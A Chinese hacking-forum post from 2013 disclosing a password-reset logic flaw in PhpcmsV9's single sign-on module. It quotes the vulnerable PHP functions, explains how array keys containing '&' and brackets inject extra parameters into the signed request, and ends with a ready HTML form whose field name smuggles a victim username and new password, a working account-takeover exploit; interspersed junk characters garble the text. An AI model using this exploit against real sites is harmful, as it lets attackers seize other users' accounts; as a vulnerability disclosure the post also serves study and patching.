找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2054|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:4 x7 L+ }  i# D1 @9 }( I
$ l* v" g: T! v- B% g! x

, |1 h, {  o& G+ M" l. vparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
; @2 R* S4 k% O6 p' Z+ R
8 _5 b# P3 }1 N3 s& R5 |9 j, q6 z在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。0 |# E# v: q5 A9 }1 ^- Y. N/ T

% z6 S* U7 i+ M, k我把它留给了你们。9 k# F3 ~. p8 v! l. c" j# Q
不知道你们发现了它没有。9 o6 c6 y$ e, O
4 V  s: b' X, `9 |! ^) l
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
$ k' \8 R% y5 T5 o
: c8 i' D6 n8 k0 F9 I) f& k所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
, w# O+ ~4 l. r9 _& m2 L* |( k4 o; K, ^5 {- u
也就是
& a% q  _! d  Q6 B& a5 ^2 {* K4 u4 `
% j# J/ ]1 a$ X( q8 }; lusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
2 O$ d0 W8 {* J9 D+ f# \2 x" M: N
- \% p! c6 h/ V: S要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
$ N5 O$ J9 B" i. K4 C$ g
9 ]$ z# y& v: |3 K1 d
. y, s- v3 q5 r3 k  f其实我们有这样的机会,看看代码,如下:
1 B; S! L2 ~4 U: C/ T5 H6 U7 L
( X$ [* M4 Y# M$ F9 Z# h4 _5 B9 q" E# E
public function auth_data($data) {
; }4 t" X! ?+ Q7 ]                $s = $sep = '';8 w7 Q4 i: ?& I9 o: M1 m: O, s) e
                foreach($data as $k => $v) {
" F, s- x8 T" z. G6 g                        if(is_array($v)) {5 B' w( A( F) o
                                $s2 = $sep2 = '';
& v# k8 N5 W( v& R  y                                foreach($v as $k2 => $v2) {7 k: n! ?) Y  Q: J/ J& P* B% P: ]
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
! m; b' Z/ v& b# t: A5 V  P# ?6 u                                        $sep2 = '&';
4 w% I5 F3 Q6 D7 x# Z6 \0 s                                }* y" R% t3 U2 t$ H
                                $s .= $sep.$s2;5 m0 D: Q" Z1 F. s
                        } else {
* X0 h3 ]5 T/ J4 q1 f6 r* u                                $s .= "$sep$k=".$this->_ps_stripslashes($v);2 o. a6 I3 t9 Y9 T& L! |
                        }
7 Z1 D8 h! I4 W& G                        $sep = '&';$ E  r3 H5 B) ~0 o
                }! t) C- n/ h2 c/ z# Z, h* O0 S  D

+ _4 q# o: k8 W5 G5 z) O                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
4 ?  J6 {  }1 ^4 z; Y  e                return $auth_s;
5 L$ ?2 ?! i& t8 Q' m$ R        }7 K2 {0 h+ f8 _! d1 P: ?. p0 k
2 ]* g: X6 L$ o8 F  w$ v
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
$ U: k' t# R7 A& n+ T8 I: y' c; N2 _. |0 L
举个例子
) K" E4 W8 G: R" R. u" m' v$ j0 s) p% G7 K& t% O# u& d
$a[aaa=a&bbb] = 'a';
6 o! b8 [2 s4 @# T5 d5 O4 F7 K9 b, N# ~, @4 L% y& o
会变成aaa=a&bbb=a, G' k( D1 U, N
1 z; Q, D, y5 n7 G! B: O
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。. z/ H7 t5 u: B/ o1 W  |8 D
$ i  x1 C5 Y/ s3 t. p4 N
这个时候,我们可以再去看一个函数。) w, v2 k) _, o
7 w5 ~  z3 x9 m3 B$ Q
就在这个文件内:
5 J  v3 p2 `+ L0 t4 @/ L6 j5 K9 p0 i  r4 B$ A
2 [% B+ p0 v$ V
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
0 f9 T& `1 u7 ~; ~$ L: K                if($email && !$this->_is_email($email)) {
& {' f% B( E$ p9 y9 u  t                        return -4;6 Q+ A- Z; z6 g0 d% R( E
                }, ~' h9 R4 j1 j$ ]6 B
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
$ x4 x% h! j: I. P* \* ]. u        }% D' d* }% w$ H8 Y  ~/ }2 p- r

: `8 [5 t4 i- P这是向通行证发了这样一个请求。+ @4 l! B' t4 F1 u6 ?# U9 M% W3 ?6 u

& L+ p; ]% S2 P, w+ }我们再跟到通信证代码里去看看,就会有所发现。
7 P6 {2 Y$ m( i. m1 `- Q  I4 X; l' A$ S! L

( B) N: Q5 A$ @public function edit() {
' A+ {0 u7 [6 a0 u/ r//能省就省,太长了不是吗?
; i1 y/ ^4 i( J, D" b! i: F( a4 ]6 o
if($this->username) {# d3 R) g: P9 e+ p( e" Z9 R6 s" ?  K
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。( f  H- x. r7 X$ x6 @. \
                                $res = $this->db->update($data, array('username'=>$this->username));  e& O6 E% [- t
                        } else {" x* G* N/ @% N+ |* f9 I
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
+ N' b1 Y2 G+ a4 ^- Q                                $res = $this->db->update($data, array('uid'=>$this->uid));+ e0 A3 k2 P! v+ L- {6 I
                        }
$ u/ p4 k/ W2 v& Q* n0 P* A3 S  q( d3 H' S$ ]
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:0 I. l) q/ [3 S8 S+ w' C' ^
' G, f% v" x9 R. n7 n3 ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
. W' m# t& `- Y
& d2 _5 g& Q& A  y# E很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
! ^+ _- p6 I0 V* y9 B9 \: R( U
% r3 W5 c9 ^; t$ I我当然找到了:
( W2 @2 G5 b5 t  X. d/ M, qphpcms9/phpcms/modules/member/index.php0 M" j) K/ m$ }3 S$ A( H

/ t' a8 n) `5 H. D/ W% r. V5 j8 h$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);" S$ [. r2 H! y. _- k+ ~$ p1 C% U6 k

) F* ?9 o' g; J然后就没有然后了。
7 K- `% y7 V$ K8 ^: h" A- G7 H* O0 F
- [- j; k0 S% _/ _; [. D<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
( L- t) v6 _& d. x0 u) N/ t                                <table width="100%" cellspacing="0" class="table_form">- m. r4 m7 V" Y' x! W
                                        <tr>
7 x# J. I' b  m% v$ W- M7 \                                                <th width="80">邮箱:</th>        
* z4 K" L* C3 D" J( C: l                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>3 v% u! r0 v; j0 D. n, e4 `
                                        </tr>- n& M8 q2 W* G; ~5 ?6 I8 e
                                        <tr>
8 t& ]( q! h) r! e8 o/ P, W                                                <th width="80">原密码:</th>        : \. U0 X, x$ i7 q8 R6 H
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>) S9 I, X- q  X5 b) o
                                        </tr>/ [. y8 W4 ^3 S$ Q) e% h+ L7 G
                                        <tr>
  O$ o! U7 b; n7 @                                                <th>新密码:</th>
, x3 _6 [4 L: E" v                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>- N" O0 p+ ~# N7 Z8 V- q3 B
                                        </tr>
& ~5 |0 G: c! S& m                                        <th></th>/ Q6 I3 F. i# T' F& Z: L
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
7 _" a% P3 y* o. E                                        </tr>
( Q# h- V9 s7 J2 k1 G# h# w                                </table>
9 m! a3 c9 {, s" J  Q* `1 j- s* |% {+ Y, d- w
                                ; f& m5 ~5 C, @4 w
                        </form>
0 C' i( @  f1 t5 r7 q& B7 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表